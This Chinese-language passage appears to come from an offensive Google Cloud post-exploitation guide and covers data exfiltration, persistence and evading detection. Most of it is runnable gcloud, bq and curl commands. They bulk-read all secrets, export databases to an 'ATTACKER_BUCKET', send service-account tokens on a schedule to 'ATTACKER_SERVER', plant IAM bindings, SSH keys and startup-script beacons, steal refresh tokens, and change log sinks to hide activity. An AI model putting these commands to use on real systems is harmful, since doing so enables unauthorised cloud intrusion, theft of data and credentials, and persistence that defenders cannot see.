gsutil ls -r gs://TARGET_BUCKET/ | grep -iE "(credential|secret|password|token|key|config)"1.2 BigQuery 数据导出
# 列出数据集
bq ls --project_id PROJECT_ID
# 列出表
bq ls PROJECT_ID:DATASET
# 直接查询
bq query --nouse_legacy_sql 'SELECT * FROM `PROJECT.DATASET.TABLE` LIMIT 10000'
# 导出到 GCS
bq extract PROJECT:DATASET.TABLE "gs://ATTACKER_BUCKET/export_*.csv"
# 导出到本地
bq query --nouse_legacy_sql --format=csv \
'SELECT * FROM `PROJECT.DATASET.TABLE`' > export.csv1.3 Cloud SQL 数据库转储
# 列出 Cloud SQL 实例
gcloud sql instances list
# 连接实例(需 cloudsql.instances.connect)
gcloud sql connect INSTANCE --user=root
# 导出到 GCS(需 cloudsql.instances.export)
gcloud sql export sql INSTANCE gs://BUCKET/dump.sql \
--database=DATABASE
# 通过 Cloud SQL Proxy 连接
cloud-sql-proxy PROJECT:REGION:INSTANCE &
mysql -h 127.0.0.1 -u root -p1.4 Secret Manager 密钥提取
# 列出所有 Secret
gcloud secrets list
# 读取最新版本
gcloud secrets versions access latest --secret="SECRET_NAME"
# 批量读取所有 Secret
for secret in $(gcloud secrets list --format="value(name)"); do
echo "=== $secret ==="
gcloud secrets versions access latest --secret="$secret" 2>/dev/null
done1.5 Spanner 数据读取
# 列出 Spanner 实例和数据库
gcloud spanner instances list
gcloud spanner databases list --instance=INSTANCE
# 执行查询
gcloud spanner databases execute-sql DATABASE \
--instance=INSTANCE \
--sql="SELECT * FROM TABLE LIMIT 1000"1.6 Firestore 数据导出
# 导出整个数据库到 GCS
gcloud firestore export gs://BUCKET/firestore-export
# 使用 REST API 读取文档
curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://firestore.googleapis.com/v1/projects/PROJECT/databases/(default)/documents/COLLECTION"1.7 Compute Engine 磁盘数据
# 列出磁盘快照
gcloud compute snapshots list
# 从快照创建磁盘并挂载
gcloud compute disks create stolen-disk --source-snapshot=TARGET_SNAPSHOT --zone=ZONE
gcloud compute instances attach-disk ATTACKER_VM --disk=stolen-disk --zone=ZONE
# 在 VM 内挂载: sudo mount /dev/sdb1 /mnt/stolen1.8 Artifact Registry / Container Registry
# 列出仓库
gcloud artifacts repositories list
# 列出镜像
gcloud artifacts docker images list REGION-docker.pkg.dev/PROJECT/REPO
# 拉取镜像分析源码和凭据
docker pull REGION-docker.pkg.dev/PROJECT/REPO/IMAGE:TAG1.9 Cloud Logging 日志
# 搜索包含敏感信息的日志
gcloud logging read 'textPayload=~"password|secret|token|key|credential"' \
--limit=100 --project=PROJECT
# 读取 Cloud Functions 日志(可能包含输出的敏感数据)
gcloud functions logs read FUNCTION_NAME --limit=501.10 Source Repositories 代码
# 列出代码仓库
gcloud source repos list
# 克隆仓库
gcloud source repos clone REPO_NAME二、持久化技术
2.1 Service Account Key 创建
最直接的持久化方式。创建的 Key 永久有效(直到被删除)。
# 为高权限 SA 创建新 Key
gcloud iam service-accounts keys create /tmp/persist_key.json \
--iam-account "TARGET_SA@PROJECT.iam.gserviceaccount.com"
# 验证 Key 可用
gcloud auth activate-service-account --key-file=/tmp/persist_key.json
gcloud projects list检测风险: Admin Activity 日志记录 CreateServiceAccountKey 事件。部分组织通过 Organization Policy 禁止 SA Key 创建(constraints/iam.disableServiceAccountKeyCreation)。
2.2 IAM Binding 后门
在项目或资源上添加隐蔽的 IAM 绑定。
# 项目级别后门(最大权限)
gcloud projects add-iam-policy-binding PROJECT_ID \
--member="serviceAccount:BACKDOOR_SA@OTHER_PROJECT.iam.gserviceaccount.com" \
--role="roles/editor"
# SA 级别后门(更隐蔽)
gcloud iam service-accounts add-iam-policy-binding \
"TARGET_SA@PROJECT.iam.gserviceaccount.com" \
--member="user:attacker@gmail.com" \
--role="roles/iam.serviceAccountTokenCreator"检测风险: SetIamPolicy 事件被 Admin Activity 日志记录。
2.3 Cloud Functions 后门
修改 Cloud Function 代码注入后门,或创建新的后门函数。
# 修改现有函数添加后门逻辑
# 在正常处理逻辑外添加隐蔽的 Token 外传
# 创建新的后门函数(允许未认证调用)
gcloud functions deploy backdoor-func \
--runtime python312 --source ./backdoor/ --entry-point handler \
--trigger-http --allow-unauthenticated \
--service-account "HIGH_PRIV_SA@PROJECT.iam.gserviceaccount.com"2.4 Cloud Run 后门服务
部署后门 Cloud Run 服务,保持对 SA Token 的持续访问。
gcloud run deploy backdoor-svc \
--image=ATTACKER_IMAGE \
--service-account="TARGET_SA@PROJECT.iam.gserviceaccount.com" \
--region=us-central1 --allow-unauthenticated2.5 Cloud Scheduler 定时任务
创建定时任务持续以 SA 身份调用 API 或外传 Token。
# 定时外传 OIDC Token
gcloud scheduler jobs create http exfil-token \
--schedule='0 */6 * * *' \
--uri='https://ATTACKER_SERVER/collect' \
--oidc-service-account-email "TARGET_SA@PROJECT.iam.gserviceaccount.com" \
--location us-central1
# 定时调用 GCP API(以 SA 身份)
gcloud scheduler jobs create http maintain-access \
--schedule='0 0 * * *' \
--uri='https://iam.googleapis.com/v1/projects/PROJECT/serviceAccounts/SA/keys' \
--http-method=POST \
--oauth-service-account-email "TARGET_SA@PROJECT.iam.gserviceaccount.com" \
--location us-central12.6 Pub/Sub 订阅后门
创建 Push 订阅将消息转发到攻击者控制的端点。
gcloud pubsub subscriptions create backdoor-sub \
--topic=TARGET_TOPIC \
--push-endpoint="https://ATTACKER_SERVER/pubsub"2.7 Compute Engine 持久化
# SSH Key 注入(项目级别,影响所有 VM)
gcloud compute project-info add-metadata \
--metadata ssh-keys="backdoor:ssh-rsa AAAAB3... backdoor@attacker"
# startup-script 后门(实例级别)
gcloud compute instances add-metadata TARGET_VM \
--metadata startup-script='#!/bin/bash
curl https://ATTACKER_SERVER/beacon &'
# 创建带后门的磁盘镜像
gcloud compute images create backdoor-image \
--source-disk=TARGET_DISK --source-disk-zone=ZONE2.8 Storage HMAC Key
创建 HMAC Key 获得对 GCS 的持久访问(类似 AWS AK/SK)。
gsutil hmac create TARGET_SA@PROJECT.iam.gserviceaccount.com
# 返回 AccessId 和 Secret,永久有效2.9 Refresh Token 持久化
窃取 gcloud 的 Refresh Token 实现长期访问。
# 从本地 gcloud 配置提取 Refresh Token
sqlite3 ~/.config/gcloud/credentials.db "SELECT value FROM credentials"
# 使用 Refresh Token 生成新 Access Token
curl -s --data client_id=32555940559.apps.googleusercontent.com \
--data client_secret=ZmssLNjJy2998hD4CTg2ejr2 \
--data grant_type=refresh_token \
--data refresh_token=STOLEN_TOKEN \
https://www.googleapis.com/oauth2/v4/token注意: Refresh Token 通常可长期使用,但会因撤销、长期未使用、用户安全事件或 Google Cloud session control 到期而失效。session control 可让 gcloud/ADC 在配置的会话长度后要求重新认证,不能简单等同于 refresh token 固定有效期。
2.10 API Key 创建
创建不受限制的 API Key 供长期使用。
gcloud services api-keys create --display-name="monitoring-key"2.11 Cloud Build Trigger 后门
修改或创建 Cloud Build Trigger,在代码推送时执行恶意构建步骤。
2.12 Composer (Airflow) DAG 后门
将恶意 DAG 上传到 Composer 环境的 GCS Bucket,定时执行攻击代码。
# 监控 DAG Bucket,注入后门版本
# 工具: https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs2.13 Log Sink 操控
创建或修改 Log Sink,将审计日志副本导出到攻击者控制的目标,或删除现有 Sink 减少可见性。
# 创建 Sink 导出日志到攻击者 Bucket
gcloud logging sinks create backdoor-sink \
"storage.googleapis.com/ATTACKER_BUCKET" \
--log-filter='resource.type="gce_instance"'三、检测绕过
3.1 Cloud Audit Logs 体系
GCP 审计日志分为四种类型:
| 类型 | 内容 | 默认状态 | 可否关闭 |
|---|---|---|---|
| Admin Activity | 管理操作(创建/修改/删除资源、IAM 变更) | 始终启用 | 不可关闭 |
| Data Access - ADMIN_READ | 读取资源配置(如 get/list 操作) | 默认关闭 | 可配置 |
| Data Access - DATA_READ | 读取用户数据(如 GCS GetObject) | 默认关闭 | 可配置 |
| Data Access - DATA_WRITE | 写入用户数据 | 默认关闭 | 可配置 |
| System Event | Google 系统自动操作 | 始终启用 | 不可关闭 |
3.2 低噪声操作(默认不记录)
以下操作在默认配置下不产生审计日志:
- Metadata 服务访问:从 VM 内部访问
metadata.google.internal不产生任何日志 - GCS 数据读取:
storage.objects.get默认不记录(除非组织启用 Data Access 日志) - BigQuery 查询:数据读取默认不记录
- Secret Manager 读取:
secretmanager.versions.access默认不记录 - KMS 解密:
cloudkms.cryptoKeyVersions.useToDecrypt默认不记录
3.3 高噪声操作(必定记录)
以下操作始终被 Admin Activity 日志捕获:
- SA Key 创建/删除(
CreateServiceAccountKey、DeleteServiceAccountKey) - IAM 策略变更(
SetIamPolicy) - 资源创建/删除(
CreateInstance、DeployFunction、CreateCluster等) - 角色创建/修改(
CreateRole、UpdateRole) - Organization Policy 变更
3.4 Log Sink 操控
如果拥有 logging.sinks.update 或 logging.sinks.delete 权限,可以:
# 查看当前 Log Sink 配置
gcloud logging sinks list
# 修改 Sink 过滤器排除攻击者活动
gcloud logging sinks update SINK_NAME \
--log-filter='NOT protoPayload.authenticationInfo.principalEmail="attacker@project.iam.gserviceaccount.com"'
# 删除 Sink(如果 Sink 导出到 SIEM)
gcloud logging sinks delete SINK_NAME注意: 修改/删除 Sink 本身会产生 Admin Activity 日志。
3.5 Organization Policy 绕过
如果拥有 orgpolicy.policy.set 权限,可以临时修改限制性策略:
- 允许 SA Key 创建(移除
iam.disableServiceAccountKeyCreation) - 允许外部 IP(移除
compute.vmExternalIpAccess) - 允许公开 Bucket(移除
storage.publicAccessPrevention)
3.6 VPC Service Controls 注意事项
VPC Service Controls 可能限制数据离开受保护的项目边界。如果目标项目配置了 VPC SC:
- 直接复制数据到外部 Bucket 会被阻止
- 需要先提权修改 VPC SC 配置(
accesscontextmanager.accessPolicies.update) - 或通过授权的出口渠道(如 VPN、允许列表中的项目)
3.7 OPSEC 最佳实践
1. 优先使用数据平面操作:读取 GCS/BigQuery/Secret Manager 默认不记录 2. 避免不必要的 IAM 变更:所有 IAM 操作都记录在 Admin Activity 中 3. 使用现有凭据:尽量使用窃取的现有 Token,而非创建新 Key 4. 注意 IP 来源:从异常 IP 使用凭据可能触发安全告警 5. 了解 Organization Policy:操作前检查是否有限制性策略 6. 使用 Cloud Shell:在已被入侵的用户 Session 中使用 Cloud Shell 不会引入异常 IP 7. Metadata Token 无日志:在 VM 内通过 Metadata 获取 Token 不会产生审计日志